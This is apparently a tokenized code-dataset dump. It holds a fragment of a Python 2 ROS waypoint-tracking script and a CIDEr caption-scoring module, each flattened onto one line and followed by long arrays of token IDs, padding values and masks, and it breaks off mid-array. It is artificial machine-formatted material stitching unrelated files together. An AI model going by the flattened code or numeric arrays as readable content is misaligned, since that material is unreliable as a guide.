PoseStamped() waypoint.header.frame_id = wp_data['frame_id'] waypoint.pose.position.x = wp_raw[0] waypoint.pose.position.y = wp_raw[1] waypoint.pose.position.z = wp_raw[2] waypoint.pose.orientation.x = wp_raw[3] waypoint.pose.orientation.y = wp_raw[4] waypoint.pose.orientation.z = wp_raw[5] waypoint.pose.orientation.w = wp_raw[6] wp_list.append(waypoint) go_to_waypoint_url = 'ual/go_to_waypoint' rospy.wait_for_service(go_to_waypoint_url) try: go_to_waypoint = rospy.ServiceProxy(go_to_waypoint_url, GoToWaypoint) # TODO: Check we're flying! print "Ready to track " + str(len(wp_list)) + " waypoints from " + file_url if args.wait_for == 'path' or args.wait_for == 'wp': answer = raw_input("Continue? (y/N): ").lower().strip() if answer != 'y' and answer != 'yes': print "Aborted" return for waypoint in wp_list: print "Go to waypoint:" print waypoint go_to_waypoint(waypoint, True) if args.wait_for == 'wp': raw_input("Arrived. Press Enter to continue...") return except rospy.ServiceException, e: print "Service call failed: %s"%e if __name__ == "__main__": track_waypoints()
mit
[ 3381, 2647, 15, 1393, 15, 1813, 2366, 199, 646, 7534, 199, 646, 984, 199, 646, 8864, 199, 646, 21848, 199, 646, 882, 681, 9761, 199, 504, 399, 1214, 63, 371, 29639, 63, 1897, 14, 15165, 492, 18146, 5195, 12, 3971, 1378, 25544, 1403, 12, 491, 460, 199, 504, 3400, 63, 13429, 14, 1328, 492, 510, 3362, 16649, 379, 199, 199, 318, 4426, 63, 3316, 3438, 837, 272, 327, 6077, 2368, 272, 1798, 275, 7534, 14, 10730, 8, 1802, 534, 7927, 4340, 3438, 3247, 315, 282, 8864, 570, 358, 272, 1798, 14, 525, 63, 2094, 3654, 5140, 63, 2491, 297, 730, 29, 495, 12, 849, 534, 85, 1214, 63, 371, 29639, 63, 1897, 297, 717, 1720, 534, 985, 402, 314, 2559, 2382, 8683, 370, 4426, 365, 5489, 358, 272, 1798, 14, 525, 63, 2094, 3654, 5140, 63, 493, 297, 730, 29, 495, 12, 849, 534, 14649, 63, 885, 14, 5963, 297, 717, 1720, 534, 985, 402, 314, 570, 6272, 8683, 63, 2491, 15, 1168, 796, 358, 272, 1798, 14, 525, 63, 2094, 3654, 2573, 63, 509, 297, 730, 29, 495, 12, 849, 534, 515, 297, 717, 1720, 534, 7536, 367, 11779, 1177, 26, 359, 3592, 12978, 59, 515, 12978, 59, 14649, 10374, 272, 1249, 12, 5809, 275, 1798, 14, 1122, 63, 3159, 63, 589, 342, 272, 327, 3778, 14, 1074, 63, 5187, 63, 589, 8, 5187, 9, 339, 21848, 14, 826, 63, 932, 360, 3316, 1403, 63, 8877, 358, 339, 570, 63, 354, 275, 1249, 14, 5140, 63, 493, 272, 327, 9195, 4883, 570, 3329, 272, 340, 440, 570, 63, 354, 14, 4130, 5175, 5963, 735, 267, 570, 63, 354, 275, 570, 63, 354, 435, 1987, 5963, 7, 339, 570, 63, 633, 275, 882, 681, 9761, 14, 50, 736, 2305, 1252, 362, 63, 515, 8, 589, 14, 5140, 63, 2491, 9, 435, 1994, 1168, 796, 4805, 435, 570, 63, 354, 272, 543, 1551, 8, 493, 63, 633, 12, 283, 82, 358, 465, 19997, 63, 493, 26, 267, 19997, 63, 576, 275, 8864, 14, 912, 8, 14649, 63, 493, 9, 339, 340, 283, 1943, 63, 344, 7, 440, 315, 19997, 63, 576, 26, 267, 21848, 14, 793, 1508, 480, 13757, 4165, 2787, 63, 344, 315, 4340, 3438, 570, 531, 221, 327, 3254, 26, 849, 370, 2125, 31, 267, 372, 339, 19997, 63, 513, 275, 942, 272, 367, 19997, 63, 344, 315, 1425, 8, 5279, 304, 267, 340, 283, 14649, 8650, 435, 620, 8, 14649, 63, 344, 9, 315, 19997, 63, 576, 26, 288, 19997, 63, 1773, 275, 19997, 63, 576, 459, 14649, 8650, 435, 620, 8, 14649, 63, 344, 1874, 288, 4340, 1403, 275, 510, 3362, 16649, 379, 342, 288, 4340, 1403, 14, 1291, 14, 1943, 63, 344, 275, 19997, 63, 576, 459, 1943, 63, 344, 418, 288, 4340, 1403, 14, 4070, 14, 3124, 14, 88, 275, 259, 19997, 63, 1773, 59, 16, 61, 288, 4340, 1403, 14, 4070, 14, 3124, 14, 89, 275, 259, 19997, 63, 1773, 59, 17, 61, 288, 4340, 1403, 14, 4070, 14, 3124, 14, 90, 275, 259, 19997, 63, 1773, 59, 18, 61, 288, 4340, 1403, 14, 4070, 14, 17001, 14, 88, 275, 19997, 63, 1773, 59, 19, 61, 288, 4340, 1403, 14, 4070, 14, 17001, 14, 89, 275, 19997, 63, 1773, 59, 20, 61, 288, 4340, 1403, 14, 4070, 14, 17001, 14, 90, 275, 19997, 63, 1773, 59, 21, 61, 288, 4340, 1403, 14, 4070, 14, 17001, 14, 87, 275, 19997, 63, 1773, 59, 22, 61, 288, 19997, 63, 513, 14, 740, 8, 3316, 1403, 9, 339, 2621, 63, 475, 63, 3316, 1403, 63, 633, 275, 283, 1061, 15, 1939, 63, 475, 63, 3316, 1403, 7, 272, 21848, 14, 2573, 63, 509, 63, 1364, 8, 1939, 63, 475, 63, 3316, 1403, 63, 633, 9, 339, 862, 26, 267, 2621, 63, 475, 63, 3316, 1403, 275, 21848, 14, 3167, 4936, 8, 1939, 63, 475, 63, 3316, 1403, 63, 633, 12, 3971, 1378, 25544, 1403, 9, 398, 327, 3254, 26, 2670, 781, 3984, 289, 6670, 1, 267, 870, 298, 17960, 370, 4426, 298, 435, 620, 8, 552, 8, 14649, 63, 513, 430, 435, 298, 4340, 3438, 687, 298, 435, 570, 63, 633, 267, 340, 1249, 14, 2573, 63, 509, 508, 283, 515, 7, 503, 1249, 14, 2573, 63, 509, 508, 283, 14649, 356, 288, 6385, 275, 3066, 63, 1210, 480, 24055, 31, 334, 89, 15, 46, 304, 298, 680, 2325, 1252, 1913, 342, 288, 340, 6385, 1137, 283, 89, 7, 436, 6385, 1137, 283, 5066, 356, 355, 870, 298, 5583, 1376, 2, 355, 372, 398, 367, 4340, 1403, 315, 19997, 63, 513, 26, 288, 870, 298, 7250, 370, 4340, 1403, 5424, 288, 870, 4340, 1403, 288, 2621, 63, 475, 63, 3316, 1403, 8, 3316, 1403, 12, 715, 9, 288, 340, 1249, 14, 2573, 63, 509, 508, 283, 14649, 356, 355, 3066, 63, 1210, 480, 1596, 322, 1354, 14, 23583, 16401, 370, 1980, 12594, 398, 372, 339, 871, 21848, 14, 3167, 1726, 12, 325, 26, 267, 870, 298, 3167, 1240, 3405, 26, 450, 83, 6808, 69, 421, 199, 692, 636, 354, 363, 508, 4396, 973, 5727, 272, 4426, 63, 3316, 3438, 342, 199, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768 ]
[ 2647, 15, 1393, 15, 1813, 2366, 199, 646, 7534, 199, 646, 984, 199, 646, 8864, 199, 646, 21848, 199, 646, 882, 681, 9761, 199, 504, 399, 1214, 63, 371, 29639, 63, 1897, 14, 15165, 492, 18146, 5195, 12, 3971, 1378, 25544, 1403, 12, 491, 460, 199, 504, 3400, 63, 13429, 14, 1328, 492, 510, 3362, 16649, 379, 199, 199, 318, 4426, 63, 3316, 3438, 837, 272, 327, 6077, 2368, 272, 1798, 275, 7534, 14, 10730, 8, 1802, 534, 7927, 4340, 3438, 3247, 315, 282, 8864, 570, 358, 272, 1798, 14, 525, 63, 2094, 3654, 5140, 63, 2491, 297, 730, 29, 495, 12, 849, 534, 85, 1214, 63, 371, 29639, 63, 1897, 297, 717, 1720, 534, 985, 402, 314, 2559, 2382, 8683, 370, 4426, 365, 5489, 358, 272, 1798, 14, 525, 63, 2094, 3654, 5140, 63, 493, 297, 730, 29, 495, 12, 849, 534, 14649, 63, 885, 14, 5963, 297, 717, 1720, 534, 985, 402, 314, 570, 6272, 8683, 63, 2491, 15, 1168, 796, 358, 272, 1798, 14, 525, 63, 2094, 3654, 2573, 63, 509, 297, 730, 29, 495, 12, 849, 534, 515, 297, 717, 1720, 534, 7536, 367, 11779, 1177, 26, 359, 3592, 12978, 59, 515, 12978, 59, 14649, 10374, 272, 1249, 12, 5809, 275, 1798, 14, 1122, 63, 3159, 63, 589, 342, 272, 327, 3778, 14, 1074, 63, 5187, 63, 589, 8, 5187, 9, 339, 21848, 14, 826, 63, 932, 360, 3316, 1403, 63, 8877, 358, 339, 570, 63, 354, 275, 1249, 14, 5140, 63, 493, 272, 327, 9195, 4883, 570, 3329, 272, 340, 440, 570, 63, 354, 14, 4130, 5175, 5963, 735, 267, 570, 63, 354, 275, 570, 63, 354, 435, 1987, 5963, 7, 339, 570, 63, 633, 275, 882, 681, 9761, 14, 50, 736, 2305, 1252, 362, 63, 515, 8, 589, 14, 5140, 63, 2491, 9, 435, 1994, 1168, 796, 4805, 435, 570, 63, 354, 272, 543, 1551, 8, 493, 63, 633, 12, 283, 82, 358, 465, 19997, 63, 493, 26, 267, 19997, 63, 576, 275, 8864, 14, 912, 8, 14649, 63, 493, 9, 339, 340, 283, 1943, 63, 344, 7, 440, 315, 19997, 63, 576, 26, 267, 21848, 14, 793, 1508, 480, 13757, 4165, 2787, 63, 344, 315, 4340, 3438, 570, 531, 221, 327, 3254, 26, 849, 370, 2125, 31, 267, 372, 339, 19997, 63, 513, 275, 942, 272, 367, 19997, 63, 344, 315, 1425, 8, 5279, 304, 267, 340, 283, 14649, 8650, 435, 620, 8, 14649, 63, 344, 9, 315, 19997, 63, 576, 26, 288, 19997, 63, 1773, 275, 19997, 63, 576, 459, 14649, 8650, 435, 620, 8, 14649, 63, 344, 1874, 288, 4340, 1403, 275, 510, 3362, 16649, 379, 342, 288, 4340, 1403, 14, 1291, 14, 1943, 63, 344, 275, 19997, 63, 576, 459, 1943, 63, 344, 418, 288, 4340, 1403, 14, 4070, 14, 3124, 14, 88, 275, 259, 19997, 63, 1773, 59, 16, 61, 288, 4340, 1403, 14, 4070, 14, 3124, 14, 89, 275, 259, 19997, 63, 1773, 59, 17, 61, 288, 4340, 1403, 14, 4070, 14, 3124, 14, 90, 275, 259, 19997, 63, 1773, 59, 18, 61, 288, 4340, 1403, 14, 4070, 14, 17001, 14, 88, 275, 19997, 63, 1773, 59, 19, 61, 288, 4340, 1403, 14, 4070, 14, 17001, 14, 89, 275, 19997, 63, 1773, 59, 20, 61, 288, 4340, 1403, 14, 4070, 14, 17001, 14, 90, 275, 19997, 63, 1773, 59, 21, 61, 288, 4340, 1403, 14, 4070, 14, 17001, 14, 87, 275, 19997, 63, 1773, 59, 22, 61, 288, 19997, 63, 513, 14, 740, 8, 3316, 1403, 9, 339, 2621, 63, 475, 63, 3316, 1403, 63, 633, 275, 283, 1061, 15, 1939, 63, 475, 63, 3316, 1403, 7, 272, 21848, 14, 2573, 63, 509, 63, 1364, 8, 1939, 63, 475, 63, 3316, 1403, 63, 633, 9, 339, 862, 26, 267, 2621, 63, 475, 63, 3316, 1403, 275, 21848, 14, 3167, 4936, 8, 1939, 63, 475, 63, 3316, 1403, 63, 633, 12, 3971, 1378, 25544, 1403, 9, 398, 327, 3254, 26, 2670, 781, 3984, 289, 6670, 1, 267, 870, 298, 17960, 370, 4426, 298, 435, 620, 8, 552, 8, 14649, 63, 513, 430, 435, 298, 4340, 3438, 687, 298, 435, 570, 63, 633, 267, 340, 1249, 14, 2573, 63, 509, 508, 283, 515, 7, 503, 1249, 14, 2573, 63, 509, 508, 283, 14649, 356, 288, 6385, 275, 3066, 63, 1210, 480, 24055, 31, 334, 89, 15, 46, 304, 298, 680, 2325, 1252, 1913, 342, 288, 340, 6385, 1137, 283, 89, 7, 436, 6385, 1137, 283, 5066, 356, 355, 870, 298, 5583, 1376, 2, 355, 372, 398, 367, 4340, 1403, 315, 19997, 63, 513, 26, 288, 870, 298, 7250, 370, 4340, 1403, 5424, 288, 870, 4340, 1403, 288, 2621, 63, 475, 63, 3316, 1403, 8, 3316, 1403, 12, 715, 9, 288, 340, 1249, 14, 2573, 63, 509, 508, 283, 14649, 356, 355, 3066, 63, 1210, 480, 1596, 322, 1354, 14, 23583, 16401, 370, 1980, 12594, 398, 372, 339, 871, 21848, 14, 3167, 1726, 12, 325, 26, 267, 870, 298, 3167, 1240, 3405, 26, 450, 83, 6808, 69, 421, 199, 692, 636, 354, 363, 508, 4396, 973, 5727, 272, 4426, 63, 3316, 3438, 342, 199, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1,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_scorer.py
13
7694
#!/usr/bin/env python # Tsung-Yi Lin <tl483@cornell.edu> # Ramakrishna Vedantam <vrama91@vt.edu> import copy from collections import defaultdict import numpy as np import pdb import math def precook(s, n=4, out=False): """ Takes a string as input and returns an object that can be given to either cook_refs or cook_test. This is optional: cook_refs and cook_test can take string arguments as well. :param s: string : sentence to be converted into ngrams :param n: int : number of ngrams for which representation is calculated :return: term frequency vector for occuring ngrams """ words = s.split() counts = defaultdict(int) for k in xrange(1,n+1): for i in xrange(len(words)-k+1): ngram = tuple(words[i:i+k]) counts[ngram] += 1 return counts def cook_refs(refs, n=4): ## lhuang: oracle will call with "average" '''Takes a list of reference sentences for a single segment and returns an object that encapsulates everything that BLEU needs to know about them. :param refs: list of string : reference sentences for some image :param n: int : number of ngrams for which (ngram) representation is calculated :return: result (list of dict) ''' return [precook(ref, n) for ref in refs] def cook_test(test, n=4): '''Takes a test sentence and returns an object that encapsulates everything that BLEU needs to know about it. :param test: list of string : hypothesis sentence for some image :param n: int : number of ngrams for which (ngram) representation is calculated :return: result (dict) ''' return precook(test, n, True) class CiderScorer(object): """CIDEr scorer. """ def copy(self): ''' copy the refs.''' new = CiderScorer(n=self.n) new.ctest = copy.copy(self.ctest) new.crefs = copy.copy(self.crefs) return new def __init__(self, test=None, refs=None, n=4, sigma=6.0): ''' singular instance ''' self.n = n self.sigma = sigma self.crefs = [] self.ctest = [] self.document_frequency = defaultdict(float) self.cook_append(test, refs) self.ref_len = None def cook_append(self, test, refs): '''called by constructor and __iadd__ to avoid creating new instances.''' if refs is not None: self.crefs.append(cook_refs(refs)) if test is not None: self.ctest.append(cook_test(test)) ## N.B.: -1 else: self.ctest.append(None) # lens of crefs and ctest have to match def size(self): assert len(self.crefs) == len(self.ctest), "refs/test mismatch! %d<>%d" % (len(self.crefs), len(self.ctest)) return len(self.crefs) def __iadd__(self, other): '''add an instance (e.g., from another sentence).''' if type(other) is tuple: ## avoid creating new CiderScorer instances self.cook_append(other[0], other[1]) else: self.ctest.extend(other.ctest) self.crefs.extend(other.crefs) return self def compute_doc_freq(self): ''' Compute term frequency for reference data. This will be used to compute idf (inverse document frequency later) The term frequency is stored in the object :return: None ''' for refs in self.crefs: # refs, k ref captions of one image for ngram in set([ngram for ref in refs for (ngram,count) in ref.iteritems()]): self.document_frequency[ngram] += 1 # maxcounts[ngram] = max(maxcounts.get(ngram,0), count) def compute_cider(self): def counts2vec(cnts): """ Function maps counts of ngram to vector of tfidf weights. The function returns vec, an array of dictionary that store mapping of n-gram and tf-idf weights. The n-th entry of array denotes length of n-grams. :param cnts: :return: vec (array of dict), norm (array of float), length (int) """ vec = [defaultdict(float) for _ in range(self.n)] length = 0 norm = [0.0 for _ in range(self.n)] for (ngram,term_freq) in cnts.iteritems(): # give word count 1 if it doesn't appear in reference corpus df = np.log(max(1.0, self.document_frequency[ngram])) # ngram index n = len(ngram)-1 # tf (term_freq) * idf (precomputed idf) for n-grams vec[n][ngram] = float(term_freq)*(self.ref_len - df) # compute norm for the vector. the norm will be used for computing similarity norm[n] += pow(vec[n][ngram], 2) if n == 1: length += term_freq norm = [np.sqrt(n) for n in norm] return vec, norm, length def sim(vec_hyp, vec_ref, norm_hyp, norm_ref, length_hyp, length_ref): ''' Compute the cosine similarity of two vectors. :param vec_hyp: array of dictionary for vector corresponding to hypothesis :param vec_ref: array of dictionary for vector corresponding to reference :param norm_hyp: array of float for vector corresponding to hypothesis :param norm_ref: array of float for vector corresponding to reference :param length_hyp: int containing length of hypothesis :param length_ref: int containing length of reference :return: array of score for each n-grams cosine similarity ''' delta = float(length_hyp - length_ref) # measure consine similarity val = np.array([0.0 for _ in range(self.n)]) for n in range(self.n): # ngram for (ngram,count) in vec_hyp[n].iteritems(): # vrama91 : added clipping val[n] += min(vec_hyp[n][ngram], vec_ref[n][ngram]) * vec_ref[n][ngram] if (norm_hyp[n] != 0) and (norm_ref[n] != 0): val[n] /= (norm_hyp[n]*norm_ref[n]) assert(not math.isnan(val[n])) # vrama91: added a length based gaussian penalty val[n] *= np.e**(-(delta**2)/(2*self.sigma**2)) return val # compute log reference length self.ref_len = np.log(float(len(self.crefs))) scores = [] for test, refs in zip(self.ctest, self.crefs): # compute vector for test captions vec, norm, length = counts2vec(test) # compute vector for ref captions score = np.array([0.0 for _ in range(self.n)]) for ref in refs: vec_ref, norm_ref, length_ref = counts2vec(ref) score += sim(vec, vec_ref, norm, norm_ref, length, length_ref) # change by vrama91 - mean of ngram scores, instead of sum score_avg = np.mean(score) # divide by number of references score_avg /= len(refs) # multiply score by 10 score_avg *= 10.0 # append score of an image to the score list scores.append(score_avg) return scores def compute_score(self, option=None, verbose=0): # compute idf self.compute_doc_freq() # assert to check document frequency assert(len(self.ctest) >= max(self.document_frequency.values())) # compute cider score score = self.compute_cider() # debug # print score return np.mean(np.array(score)), np.array(score)
mit
[ 3381, 2647, 15, 1393, 15, 1813, 2366, 199, 3, 377, 83, 10335, 13, 21001, 29730, 665, 5019, 23946, 32, 989, 78, 1697, 14, 8654, 30, 199, 3, 3898, 22191, 322, 609, 3540, 812, 379, 867, 455, 665, 86, 345, 391, 3328, 32, 5941, 14, 8654, 30, 199, 199, 646, 1331, 199, 504, 5055, 492, 10018, 199, 646, 2680, 465, 980, 199, 646, 10543, 199, 646, 3473, 199, 199, 318, 876, 331, 745, 8, 83, 12, 302, 29, 20, 12, 734, 29, 797, 304, 272, 408, 272, 17415, 282, 1059, 465, 1324, 436, 2529, 376, 909, 626, 883, 506, 1627, 370, 272, 1902, 512, 745, 63, 7655, 503, 512, 745, 63, 396, 14, 961, 365, 2716, 26, 512, 745, 63, 7655, 436, 512, 745, 63, 396, 272, 883, 5452, 1059, 2368, 465, 5521, 14, 272, 520, 635, 308, 26, 1059, 520, 14537, 370, 506, 6702, 1901, 302, 9292, 272, 520, 635, 302, 26, 1109, 259, 520, 1329, 402, 302, 9292, 367, 1314, 6025, 365, 12950, 272, 520, 1107, 26, 6707, 9857, 5477, 367, 4781, 316, 302, 9292, 272, 408, 272, 5932, 275, 308, 14, 1294, 342, 272, 8242, 275, 10018, 8, 442, 9, 272, 367, 1022, 315, 4945, 8, 17, 12, 78, 11, 17, 304, 267, 367, 284, 315, 4945, 8, 552, 8, 3148, 7216, 75, 11, 17, 304, 288, 302, 1679, 275, 2008, 8, 3148, 59, 73, 26, 73, 11, 75, 566, 288, 8242, 59, 78, 1679, 61, 847, 413, 272, 372, 8242, 199, 199, 318, 512, 745, 63, 7655, 8, 7655, 12, 302, 29, 20, 304, 925, 634, 10616, 621, 26, 28123, 911, 1240, 543, 298, 8536, 2, 272, 1449, 32488, 282, 769, 402, 3659, 24256, 367, 282, 2849, 8135, 272, 436, 2529, 376, 909, 626, 22667, 15409, 8137, 626, 699, 23391, 272, 4839, 370, 5715, 3595, 3062, 14, 272, 520, 635, 15749, 26, 769, 402, 1059, 520, 3659, 24256, 367, 2005, 1834, 272, 520, 635, 302, 26, 1109, 520, 1329, 402, 302, 9292, 367, 1314, 334, 78, 1679, 9, 6025, 365, 12950, 272, 520, 1107, 26, 754, 334, 513, 402, 1211, 9, 272, 1449, 272, 372, 359, 657, 331, 745, 8, 1121, 12, 302, 9, 367, 2984, 315, 15749, 61, 199, 199, 318, 512, 745, 63, 396, 8, 396, 12, 302, 29, 20, 304, 272, 1449, 32488, 282, 511, 14537, 436, 2529, 376, 909, 626, 272, 22667, 15409, 8137, 626, 699, 23391, 4839, 370, 5715, 3595, 652, 14, 272, 520, 635, 511, 26, 769, 402, 1059, 520, 29268, 14537, 367, 2005, 1834, 272, 520, 635, 302, 26, 1109, 520, 1329, 402, 302, 9292, 367, 1314, 334, 78, 1679, 9, 6025, 365, 12950, 272, 520, 1107, 26, 754, 334, 807, 9, 272, 1449, 272, 372, 876, 331, 745, 8, 396, 12, 302, 12, 715, 9, 199, 199, 533, 445, 73, 424, 12642, 82, 8, 785, 304, 272, 408, 35, 998, 539, 30776, 14, 272, 408, 339, 347, 1331, 8, 277, 304, 267, 1449, 1331, 314, 15749, 10595, 267, 892, 275, 445, 73, 424, 12642, 82, 8, 78, 29, 277, 14, 78, 9, 267, 892, 14, 67, 396, 275, 1331, 14, 1574, 8, 277, 14, 67, 396, 9, 267, 892, 14, 67, 7655, 275, 1331, 14, 1574, 8, 277, 14, 67, 7655, 9, 267, 372, 892, 339, 347, 636, 826, 721, 277, 12, 511, 29, 403, 12, 15749, 29, 403, 12, 302, 29, 20, 12, 10819, 29, 22, 14, 16, 304, 267, 1449, 15823, 1256, 1449, 267, 291, 14, 78, 275, 302, 267, 291, 14, 9412, 275, 10819, 267, 291, 14, 67, 7655, 275, 942, 267, 291, 14, 67, 396, 275, 942, 267, 291, 14, 3554, 63, 11132, 275, 10018, 8, 1609, 9, 267, 291, 14, 331, 745, 63, 740, 8, 396, 12, 15749, 9, 267, 291, 14, 1121, 63, 552, 275, 488, 339, 347, 512, 745, 63, 740, 8, 277, 12, 511, 12, 15749, 304, 267, 1449, 3527, 701, 3787, 436, 636, 28788, 363, 370, 5126, 6425, 892, 4454, 10595, 398, 340, 15749, 365, 440, 488, 26, 288, 291, 14, 67, 7655, 14, 740, 8, 331, 745, 63, 7655, 8, 7655, 430, 288, 340, 511, 365, 440, 488, 26, 355, 291, 14, 67, 396, 14, 740, 8, 331, 745, 63, 396, 8, 396, 430, 925, 653, 14, 34, 16781, 446, 17, 288, 587, 26, 355, 291, 14, 67, 396, 14, 740, 8, 403, 9, 327, 822, 83, 402, 286, 7655, 436, 286, 396, 1172, 370, 1336, 339, 347, 1568, 8, 277, 304, 267, 702, 822, 8, 277, 14, 67, 7655, 9, 508, 822, 8, 277, 14, 67, 396, 395, 298, 7655, 15, 396, 15015, 1, 450, 68, 28, 6598, 68, 2, 450, 334, 552, 8, 277, 14, 67, 7655, 395, 822, 8, 277, 14, 67, 396, 430, 267, 372, 822, 8, 277, 14, 67, 7655, 9, 339, 347, 636, 28788, 721, 277, 12, 1163, 304, 267, 1449, 525, 376, 1256, 334, 69, 14, 71, 2020, 687, 4573, 14537, 680, 2344, 398, 340, 730, 8, 1848, 9, 365, 2008, 26, 288, 925, 5126, 6425, 892, 445, 73, 424, 12642, 82, 4454, 288, 291, 14, 331, 745, 63, 740, 8, 1848, 59, 16, 467, 1163, 59, 17, 566, 267, 587, 26, 288, 291, 14, 67, 396, 14, 2880, 8, 1848, 14, 67, 396, 9, 288, 291, 14, 67, 7655, 14, 2880, 8, 1848, 14, 67, 7655, 9, 398, 372, 291, 272, 347, 4526, 63, 1301, 63, 5646, 8, 277, 304, 267, 1449, 267, 8354, 6707, 9857, 367, 3659, 666, 14, 267, 961, 911, 506, 1202, 370, 4526, 1305, 70, 334, 11668, 2213, 9857, 2945, 9, 267, 710, 6707, 9857, 365, 5489, 315, 314, 909, 267, 520, 1107, 26, 488, 267, 1449, 267, 367, 15749, 315, 291, 14, 67, 7655, 26, 288, 327, 15749, 12, 1022, 2984, 4021, 852, 402, 1373, 1834, 288, 367, 302, 1679, 315, 663, 779, 78, 1679, 367, 2984, 315, 15749, 367, 334, 78, 1679, 12, 835, 9, 315, 2984, 14, 4611, 342, 4682, 355, 291, 14, 3554, 63, 11132, 59, 78, 1679, 61, 847, 413, 288, 327, 1390, 6851, 59, 78, 1679, 61, 275, 1390, 8, 988, 6851, 14, 362, 8, 78, 1679, 12, 16, 395, 2338, 9, 339, 347, 4526, 63, 559, 424, 8, 277, 304, 267, 347, 8242, 18 ]
[ 2647, 15, 1393, 15, 1813, 2366, 199, 3, 377, 83, 10335, 13, 21001, 29730, 665, 5019, 23946, 32, 989, 78, 1697, 14, 8654, 30, 199, 3, 3898, 22191, 322, 609, 3540, 812, 379, 867, 455, 665, 86, 345, 391, 3328, 32, 5941, 14, 8654, 30, 199, 199, 646, 1331, 199, 504, 5055, 492, 10018, 199, 646, 2680, 465, 980, 199, 646, 10543, 199, 646, 3473, 199, 199, 318, 876, 331, 745, 8, 83, 12, 302, 29, 20, 12, 734, 29, 797, 304, 272, 408, 272, 17415, 282, 1059, 465, 1324, 436, 2529, 376, 909, 626, 883, 506, 1627, 370, 272, 1902, 512, 745, 63, 7655, 503, 512, 745, 63, 396, 14, 961, 365, 2716, 26, 512, 745, 63, 7655, 436, 512, 745, 63, 396, 272, 883, 5452, 1059, 2368, 465, 5521, 14, 272, 520, 635, 308, 26, 1059, 520, 14537, 370, 506, 6702, 1901, 302, 9292, 272, 520, 635, 302, 26, 1109, 259, 520, 1329, 402, 302, 9292, 367, 1314, 6025, 365, 12950, 272, 520, 1107, 26, 6707, 9857, 5477, 367, 4781, 316, 302, 9292, 272, 408, 272, 5932, 275, 308, 14, 1294, 342, 272, 8242, 275, 10018, 8, 442, 9, 272, 367, 1022, 315, 4945, 8, 17, 12, 78, 11, 17, 304, 267, 367, 284, 315, 4945, 8, 552, 8, 3148, 7216, 75, 11, 17, 304, 288, 302, 1679, 275, 2008, 8, 3148, 59, 73, 26, 73, 11, 75, 566, 288, 8242, 59, 78, 1679, 61, 847, 413, 272, 372, 8242, 199, 199, 318, 512, 745, 63, 7655, 8, 7655, 12, 302, 29, 20, 304, 925, 634, 10616, 621, 26, 28123, 911, 1240, 543, 298, 8536, 2, 272, 1449, 32488, 282, 769, 402, 3659, 24256, 367, 282, 2849, 8135, 272, 436, 2529, 376, 909, 626, 22667, 15409, 8137, 626, 699, 23391, 272, 4839, 370, 5715, 3595, 3062, 14, 272, 520, 635, 15749, 26, 769, 402, 1059, 520, 3659, 24256, 367, 2005, 1834, 272, 520, 635, 302, 26, 1109, 520, 1329, 402, 302, 9292, 367, 1314, 334, 78, 1679, 9, 6025, 365, 12950, 272, 520, 1107, 26, 754, 334, 513, 402, 1211, 9, 272, 1449, 272, 372, 359, 657, 331, 745, 8, 1121, 12, 302, 9, 367, 2984, 315, 15749, 61, 199, 199, 318, 512, 745, 63, 396, 8, 396, 12, 302, 29, 20, 304, 272, 1449, 32488, 282, 511, 14537, 436, 2529, 376, 909, 626, 272, 22667, 15409, 8137, 626, 699, 23391, 4839, 370, 5715, 3595, 652, 14, 272, 520, 635, 511, 26, 769, 402, 1059, 520, 29268, 14537, 367, 2005, 1834, 272, 520, 635, 302, 26, 1109, 520, 1329, 402, 302, 9292, 367, 1314, 334, 78, 1679, 9, 6025, 365, 12950, 272, 520, 1107, 26, 754, 334, 807, 9, 272, 1449, 272, 372, 876, 331, 745, 8, 396, 12, 302, 12, 715, 9, 199, 199, 533, 445, 73, 424, 12642, 82, 8, 785, 304, 272, 408, 35, 998, 539, 30776, 14, 272, 